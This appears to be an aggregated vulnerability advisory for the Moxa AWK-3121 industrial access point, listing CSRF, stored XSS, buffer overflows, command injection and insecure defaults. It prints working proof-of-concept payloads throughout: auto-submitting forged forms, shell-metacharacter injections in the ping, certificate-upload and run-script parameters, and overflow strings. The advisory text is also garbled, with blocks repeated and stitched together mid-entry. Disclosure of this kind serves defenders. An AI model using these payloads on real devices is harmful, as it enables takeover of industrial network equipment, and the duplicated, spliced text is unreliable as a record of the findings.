Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_filename" is susceptible to buffer overflow. By crafting a packet that contains a string of 162 characters, it is possible for an attacker to execute the attack. Moxa AWK-3121 The device contains a buffer error vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. Moxa AWK-3121 There is a buffer error vulnerability in the 'iw_filename' parameter in version 1.14. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. The device provides a web interface to allow an administrator to manage the device. However, this interface is not protected against CSRF attacks, which allows an attacker to trick an administrator into executing actions without his/her knowledge, as demonstrated by the forms/iw_webSetParameters and forms/webSetMainRestart URIs. Moxa AWK-3121 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in Moxa AWK-3121 version 1.14. The vulnerability stems from the WEB application not adequately verifying that the request is from a trusted user. An attacker could exploit this vulnerability to send unexpected requests to the server through an affected client. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). However, the same functionality allows an attacker to download the file without any authentication or authorization. ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. This allows an attacker who is able to execute a cross-site scripting attack to steal the cookie very easily. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. The POST parameter "srvName" is susceptible to a buffer overflow. By crafting a packet that contains a string of 516 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. The POST parameters "to1,to2,to3,to4" are all susceptible to buffer overflow. By crafting a packet that contains a string of 678 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. The POST parameter "srvName" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. The POST parameter "iw_privatePass" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] 